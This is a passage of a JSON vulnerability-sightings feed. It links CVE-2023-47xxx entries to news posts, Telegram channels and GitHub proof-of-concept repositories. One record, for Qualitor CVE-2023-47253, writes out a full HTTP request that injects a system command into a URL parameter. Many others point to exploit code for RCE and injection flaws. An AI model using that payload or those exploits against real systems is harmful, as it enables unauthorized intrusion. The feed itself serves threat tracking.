Group\nhttps://www.securityweek.com/sysaid-zero-day-vulnerability-exploited-by-ransomware-group/\n\nCVE-2023-47246 zero-day vulnerability in SysAid IT service management software has been exploited by Cl0p ransomware affiliates.\nThe post SysAid Zero-Day Vulnerability Exploited by Ransomware Group (https://www.securityweek.com/sysaid-zero-day-vulnerability-exploited-by-ransomware-group/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2023-11-09T14:10:24.000000Z"}, {"uuid": "949a7d44-ffee-42c1-99e1-99a0ef3763c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/xakep_ru/14966", "content": "\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Clop \u043d\u0430\u0446\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043d\u0430 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Microsoft Threat Intelligence \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043d\u0435\u0431\u0435\u0437\u044b\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f Clop \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SysAid (CVE-2023-47246) \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043c\u0430\u043b\u0432\u0430\u0440\u0438.\n\nhttps://xakep.ru/2023/11/10/sysaid-attacks/", "creation_timestamp": "2023-11-10T17:33:49.000000Z"}, {"uuid": "dc0dffd5-8e03-4b3f-bf69-d93ee56eec50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47777", "type": "seen", "source": "https://t.me/cultofwire/1294", "content": "Every XSS is a site takeover\n\n\u0412\u0440\u043e\u0434\u0435 \u0431\u044b \u0438 \u0434\u0430, \u043d\u043e \u0432\u0440\u043e\u0434\u0435 \u0431\u044b \u0438 \u043d\u0435\u0442. WordPress \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 CMS, \u0438 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0431\u0443\u0434\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e. \u041d\u043e \u0432\u043e\u0442 \u0441 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\u0414\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u0432\u0441\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 XSS \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 WordPress \u0432\u0441\u0451 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0430\u0447\u0435. \n\nWordfence \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0431\u0430\u0433-\u0431\u0430\u0443\u043d\u0442\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0441\u044b\u043f\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u0438\u0437 \u0440\u043e\u0433\u0430 \u0438\u0437\u043e\u0431\u0438\u043b\u0438\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 XSS:\nCVE-2024-4619 - Elementor - DOM Based - Medium\nCVE-2023-6701 - ACF - Stored - Medium\nCVE-2023-47777 - WooCommerce - Medium\nYoast SEO &lt;= 20.2 - Stored - Medium\n\n\u0412\u0440\u043e\u0434\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u0433\u043e, \u043d\u043e \u043e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0432\u0435\u0440\u0445\u0443\u0448\u043a\u0430 \u0430\u0439\u0441\u0431\u0435\u0440\u0433\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c. \u0412 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0441\u0430\u0439\u0442\u0430.\n\n\u0410 \u0435\u0449\u0451 \u0443 WordPress \u0432\u043e\u043e\u0431\u0449\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f CVE. \u0413\u0434\u0435-\u0442\u043e \u0447\u0442\u043e-\u0442\u043e \u0435\u0441\u0442\u044c, \u043d\u043e \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\u0442. \u0415\u0449\u0451 \u0431\u044b\u043b\u0438 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0435 \u0431\u0430\u0433\u0438 \u0432 &lt;=6.41, \u043d\u043e \u044d\u0442\u043e \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e \u0441 XSS \u0438 \u0441\u0442\u0430\u0442\u044c\u0451\u0439, \u0434\u0430 \u0438 \u0442\u043e\u043b\u043a\u043e\u043c \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u043e \u043d\u0438\u043c \u043d\u0435\u0447\u0435\u0433\u043e.", "creation_timestamp": "2024-06-22T22:28:25.000000Z"}, {"uuid": "2082e57f-7567-4f95-996f-e341eb6f33aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/8057", "content": "Authenticated Static Code Injections in OpenCart (CVE-2023-47444) \n\nhttps://0xbro.red/disclosures/disclosed-vulnerabilities/opencart-cve-2023-47444/", "creation_timestamp": "2023-11-27T10:32:03.000000Z"}, {"uuid": "3c520280-5962-47d7-b6d2-4cd8e708337f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47464", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1989", "content": "https://github.com/HadessCS/CVE-2023-47464\n#github #poc", "creation_timestamp": "2024-02-17T11:42:24.000000Z"}, {"uuid": "cdda93a8-d0f7-4095-8d5a-e8decfe49aa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/3229", "content": "CVE-2023-47253\n\nGET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system(\"dir\"); HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\n\ndir\n\n#exploit #poc", "creation_timestamp": "2024-09-30T06:33:30.000000Z"}, {"uuid": "fcee5c55-1e7c-489d-b2fd-dc719dae4165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47014", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1640", "content": "https://github.com/emirhanerdogu/CVE-2023-47014-Sticky-Notes-App-Using-PHP-with-Source-Code-v1.0-CSRF-to-CORS\n\n#github", "creation_timestamp": "2023-12-03T07:46:49.000000Z"}, {"uuid": "5753b08e-5978-425b-98b1-2a926567aa48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/3198", "content": "https://github.com/vnxdtzip/CVE-2023-47253\n\nCVE-2023-47253 | Qualitor &lt;= 8.20 RCE\n#github #poc", "creation_timestamp": "2024-09-20T17:01:50.000000Z"}, {"uuid": "7054fa70-fcda-43ec-8174-3f16075fecb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47119", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1503", "content": "https://github.com/BaadMaro/CVE-2023-47119\n#github", "creation_timestamp": "2023-11-14T04:22:49.000000Z"}, {"uuid": "805466ca-afb4-4bfd-8864-a7ac2f19feb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1561", "content": "https://github.com/W01fh4cker/CVE-2023-47246-EXP\n\nSysAid RCE \uff08webshell \uff09\n\n#github #exploit", "creation_timestamp": "2023-11-21T13:55:07.000000Z"}, {"uuid": "cc40752d-ece9-4a73-9916-06e2a5e1f748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "Telegram/CjQF1dZmoaM1fUBfkvGENLUP776SFgCIVBR2PSApxfFhKvo", "content": "", "creation_timestamp": "2023-11-11T08:58:10.000000Z"}, {"uuid": "a2a21ea5-d572-4dd2-a222-5f2f7c24e967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "Telegram/otaVWtF_nu3f6o-skFv4SWvLt2xwDV3NOvHE0hYwoHmxK5Ux", "content": "", "creation_timestamp": "2024-09-26T10:48:28.000000Z"}, {"uuid": "2ccb3285-56d4-4e9e-a041-970a12320744", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47503", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/9503", "content": "#exploit\n1. CVE-2022-40635:\nGroovy Sandbox Bypass in CrafterCMS\nhttps://github.com/mbadanoiu/CVE-2022-40635\n\n2. CVE-2023-26049:\nCookie Bugs - Smuggling &amp; Injection\nhttps://blog.ankursundara.com/cookie-bugs\n\n3. CVE-2023-47503:\nJfinal_ CMS V5.1.0 has login.jsp written to RCE\nhttps://github.com/jflyfox/jfinal_cms/issues/58", "creation_timestamp": "2024-03-20T05:07:42.000000Z"}, {"uuid": "dc44d300-b866-4162-ba8f-66913731f2a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9423", "content": "#exploit\n1. CVE-2023-2598:\nio_uring LPE\nhttps://github.com/ysanatomic/io_uring_LPE-CVE-2023-2598\n\n2. CVE-2023-47246:\nSysAid Server &lt;23.3.36 RCE\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2023-11-19T13:23:12.000000Z"}, {"uuid": "d66b237b-6653-48ff-861e-34cfbd3a7e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9459", "content": "#exploit\n1. CVE-2023-47444:\nAuthenticated Static Code Injections in OpenCart\nhttps://0xbro.red/disclosures/disclosed-vulnerabilities/opencart-cve-2023-47444\n\n2. CVE-2022-41853:\nUsing static functions to obtian RCE via Java Deserialization &amp; Remote Codebase Attack\nhttps://github.com/mbadanoiu/CVE-2022-41853\n\n3. CVE-2023-3452:\nWordpress Plugin Canto &lt; 3.0.5 - RFI/RCE Unauthenticated\nhttps://github.com/leoanggal1/CVE-2023-3452-PoC", "creation_timestamp": "2023-11-25T12:25:42.000000Z"}, {"uuid": "34b8432d-73b0-4e6f-8378-7c0faf16b14b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47014", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9510", "content": "#exploit\n1. CVE-2023-1450:\nMP4v2 2.1.2 mp4trackdump.cpp DumpTrack DoS\nhttps://github.com/10cksYiqiyinHangzhouTechnology/mp4v2_trackdump_poc\n\n2. CVE-2023-47014:\nSticky Notes App Using PHP with Source Code v1.0 - CSRF to CORS\nhttps://github.com/emirhanerdogu/CVE-2023-47014-Sticky-Notes-App-Using-PHP-with-Source-Code-v1.0-CSRF-to-CORS\n\n3. PicoCTF WebExploits\nhttps://github.com/PlayExploits/PicoCTF-WebExploits-Challenges", "creation_timestamp": "2023-12-03T18:24:41.000000Z"}, {"uuid": "38196847-3540-4c5e-bf9b-c732595055f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9971", "content": "#exploit\n1. CVE-2023-47218:\nQNAP QTS/QuTS Hero Unauthenticated Command Injection\nhttps://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed\n\n2. POC Pdf-exploit builder on C#\nhttps://github.com/K3rnel-Dev/pdf-exploit\n\n3. CVE-2023-31492:\nManageEngine ADManager Plus Recovery Password Disclosure\nhttps://docs.unsafe-inline.com/0day/manageengine-admanager-plus-build-less-than-7183-recovery-password-disclosure-cve-2023-31492", "creation_timestamp": "2024-02-14T22:24:47.000000Z"}, {"uuid": "1faa606d-c544-4a03-9b35-d213f3be5aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47464", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9983", "content": "#exploit\n1. CVE-2023-48003:\nAsp.Net Zero &lt;12.3 - HTML Injection Leads to Open Redirect via Websockets\nhttps://docs.unsafe-inline.com/0day/asp.net-zero-v12.3.0-html-injection-leads-to-open-redirect-via-websockets-cve-2023-48003\n\n2. Windows Defender Detection Mitigation TrojanWin32Powessere.G\nhttps://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt\n\n3. CVE-2023-47464:\nPath Traversal in Gl-Inet Gl-AX1800\nhttps://github.com/HadessCS/CVE-2023-47464", "creation_timestamp": "2024-02-16T10:58:01.000000Z"}, {"uuid": "132654da-b2de-4a15-b56b-d7981c8e7394", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47460", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9370", "content": "#exploit\n1. CVE-2023-32031:\nMS Exchange PowerShell backend RCE\nhttps://github.com/Avento/CVE-2023-32031\n\n2. CVE-2021-43609:\nThe full exploit chain is SQLi -&gt; file read -&gt; RCE\nhttps://github.com/d5sec/CVE-2021-43609-POC\n\n3. CVE-2023-47460:\nSQL injection in Knovos Discovery v.22.67\nhttps://github.com/aleksey-vi/CVE-2023-47460", "creation_timestamp": "2023-11-11T20:38:04.000000Z"}, {"uuid": "ec972075-24e1-40df-a357-036ee8b40939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47119", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9394", "content": "#exploit\n1. CVE-2023-47119:\nMultiple vulnerabilities in Discourse\nhttps://github.com/BaadMaro/CVE-2023-47119\n\n2. CVE-2023-47129:\nStatamic CMS &lt;4.33.0 - RCE\nhttps://github.com/Cyber-Wo0dy/CVE-2023-47129\n\n3. CVE-2023-32832:\nAndroid mtk_jpeg Driver Race Condition/Privilege Escalation\nhttps://packetstormsecurity.com/files/175662/Android-mtk_jpeg-Driver-Race-Condition-Privilege-Escalation.html", "creation_timestamp": "2024-06-22T15:14:18.000000Z"}, {"uuid": "5ab1fc0f-0b4b-47a2-871a-2ae19b46dfff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47129", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9394", "content": "#exploit\n1. CVE-2023-47119:\nMultiple vulnerabilities in Discourse\nhttps://github.com/BaadMaro/CVE-2023-47119\n\n2. CVE-2023-47129:\nStatamic CMS &lt;4.33.0 - RCE\nhttps://github.com/Cyber-Wo0dy/CVE-2023-47129\n\n3. CVE-2023-32832:\nAndroid mtk_jpeg Driver Race Condition/Privilege Escalation\nhttps://packetstormsecurity.com/files/175662/Android-mtk_jpeg-Driver-Race-Condition-Privilege-Escalation.html", "creation_timestamp": "2024-06-22T15:14:18.000000Z"}, {"uuid": "36502adc-f5fa-4d81-9d35-757302c40bba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11169", "content": "#exploit\n1. CVE-2023-47253:\nQualitor &lt;=8.2 - RCE\nhttps://github.com/vnxdtzip/CVE-2023-47253\n\n2. CVE-2024-7339:\nInformation Leak in DVR devices\nhttps://github.com/RevoltSecurities/CVE-2024-7339\n\n3. CVE-2024-5830:\nFrom object transition to RCE in the Chrome renderer\nhttps://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer", "creation_timestamp": "2024-09-22T02:44:19.000000Z"}, {"uuid": "7ada04de-7f60-44dc-a760-ed31a01bbf38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47014", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2179", "content": "#exploit\n1. CVE-2023-1450:\nMP4v2 2.1.2 mp4trackdump.cpp DumpTrack DoS\nhttps://github.com/10cksYiqiyinHangzhouTechnology/mp4v2_trackdump_poc\n\n2. CVE-2023-47014:\nSticky Notes App Using PHP with Source Code v1.0 - CSRF to CORS\nhttps://github.com/emirhanerdogu/CVE-2023-47014-Sticky-Notes-App-Using-PHP-with-Source-Code-v1.0-CSRF-to-CORS\n\n3. PicoCTF WebExploits\nhttps://github.com/PlayExploits/PicoCTF-WebExploits-Challenges", "creation_timestamp": "2024-08-16T08:55:31.000000Z"}, {"uuid": "dbda2ac0-9b17-4e84-9046-ddd4b5c0c18a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2096", "content": "#exploit\n1. CVE-2023-47444:\nAuthenticated Static Code Injections in OpenCart\nhttps://0xbro.red/disclosures/disclosed-vulnerabilities/opencart-cve-2023-47444\n\n2. CVE-2022-41853:\nUsing static functions to obtian RCE via Java Deserialization &amp; Remote Codebase Attack\nhttps://github.com/mbadanoiu/CVE-2022-41853\n\n3. CVE-2023-3452:\nWordpress Plugin Canto &lt; 3.0.5 - RFI/RCE Unauthenticated\nhttps://github.com/leoanggal1/CVE-2023-3452-PoC", "creation_timestamp": "2024-08-16T08:52:58.000000Z"}, {"uuid": "902c5941-e070-48cc-965a-377fec311031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1720", "content": "#exploit\n1. CVE-2023-2598:\nio_uring LPE\nhttps://github.com/ysanatomic/io_uring_LPE-CVE-2023-2598\n\n2. CVE-2023-47246:\nSysAid Server &lt;23.3.36 RCE\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2024-08-16T08:45:55.000000Z"}, {"uuid": "39828f77-0ff1-4e4a-9d98-4b30f7dfb309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1752", "content": "#exploit\n1. CVE-2023-2598:\nio_uring LPE\nhttps://github.com/ysanatomic/io_uring_LPE-CVE-2023-2598\n\n2. CVE-2023-47246:\nSysAid Server &lt;23.3.36 RCE\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2024-08-16T08:46:02.000000Z"}, {"uuid": "3fdb5493-498c-49eb-8d04-548425a5b6cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1785", "content": "https://github.com/W01fh4cker/CVE-2023-47246-EXP\n\nSysAid RCE \uff08webshell \uff09\n\n#github #exploit", "creation_timestamp": "2024-08-16T08:47:38.000000Z"}, {"uuid": "b9f4f2d1-48c5-4b63-b6a1-25e713cb5c2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47129", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1728", "content": "#exploit\n1. CVE-2023-47119:\nMultiple vulnerabilities in Discourse\nhttps://github.com/BaadMaro/CVE-2023-47119\n\n2. CVE-2023-47129:\nStatamic CMS &lt;4.33.0 - RCE\nhttps://github.com/Cyber-Wo0dy/CVE-2023-47129\n\n3. CVE-2023-32832:\nAndroid mtk_jpeg Driver Race Condition/Privilege Escalation\nhttps://packetstormsecurity.com/files/175662/Android-mtk_jpeg-Driver-Race-Condition-Privilege-Escalation.html", "creation_timestamp": "2024-08-16T08:45:55.000000Z"}, {"uuid": "7477c823-7ee4-4714-b572-15f49a68aad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/4491", "content": "#exploit\n1. CVE-2023-47253:\nQualitor &lt;=8.2 - RCE\nhttps://github.com/vnxdtzip/CVE-2023-47253\n\n2. CVE-2024-7339:\nInformation Leak in DVR devices\nhttps://github.com/RevoltSecurities/CVE-2024-7339\n\n3. CVE-2024-5830:\nFrom object transition to RCE in the Chrome renderer\nhttps://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer", "creation_timestamp": "2024-09-22T12:58:13.000000Z"}, {"uuid": "a9b6f011-1706-4282-93b0-abc2807d9d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47359", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmrewad7b42p", "content": "", "creation_timestamp": "2026-05-26T16:09:32.377496Z"}, {"uuid": "66793653-ea1a-42bb-97d0-210e8d7d2f30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47359", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-146-05", "content": "", "creation_timestamp": "2026-05-26T05:00:00.000000Z"}, {"uuid": "2a2d30de-12c9-48ff-8da5-c9e5ae3356e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47360", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-146-05", "content": "", "creation_timestamp": "2026-05-26T05:00:00.000000Z"}, {"uuid": "d45f2ed4-8d8d-4b15-8fb9-9e3ae0fb0b14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47698", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mnkd5ffda62e", "content": "", "creation_timestamp": "2026-06-05T14:14:22.562392Z"}, {"uuid": "b21e282c-4904-452d-8661-c0d969e3dafa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4752", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/e26ec2546b365e6b82736c7c283fc9ac", "content": "", "creation_timestamp": "2026-06-13T13:31:42.000000Z"}, {"uuid": "578ec7c0-61f0-42c0-b55f-fe578335a81e", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/a7334689-ae33-449a-a5dc-f815e594f669", "content": "", "creation_timestamp": "2026-06-23T11:12:16.598979Z"}, {"uuid": "0fb519b1-a8ae-4dc1-b537-88448dda3275", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/4dd850e0-091d-4c7c-8d0a-5ffa4f5c68ff", "content": "", "creation_timestamp": "2026-06-23T11:12:51.014073Z"}, {"uuid": "55bafca1-f7f8-4abe-bd24-0edf84f376a5", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/45597e9c-6608-4d46-9859-6f72eb5b21f4", "content": "", "creation_timestamp": "2026-06-23T11:14:18.175422Z"}, {"uuid": "fb2f63e2-ad63-40c4-b616-63ca5ab5d08e", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/b6e138b9-ee04-499c-872d-50917d948b60", "content": "", "creation_timestamp": "2026-06-23T11:14:19.525846Z"}, {"uuid": "b77ae546-3e1b-43b3-bf1f-0ec8ae4b3b6a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": 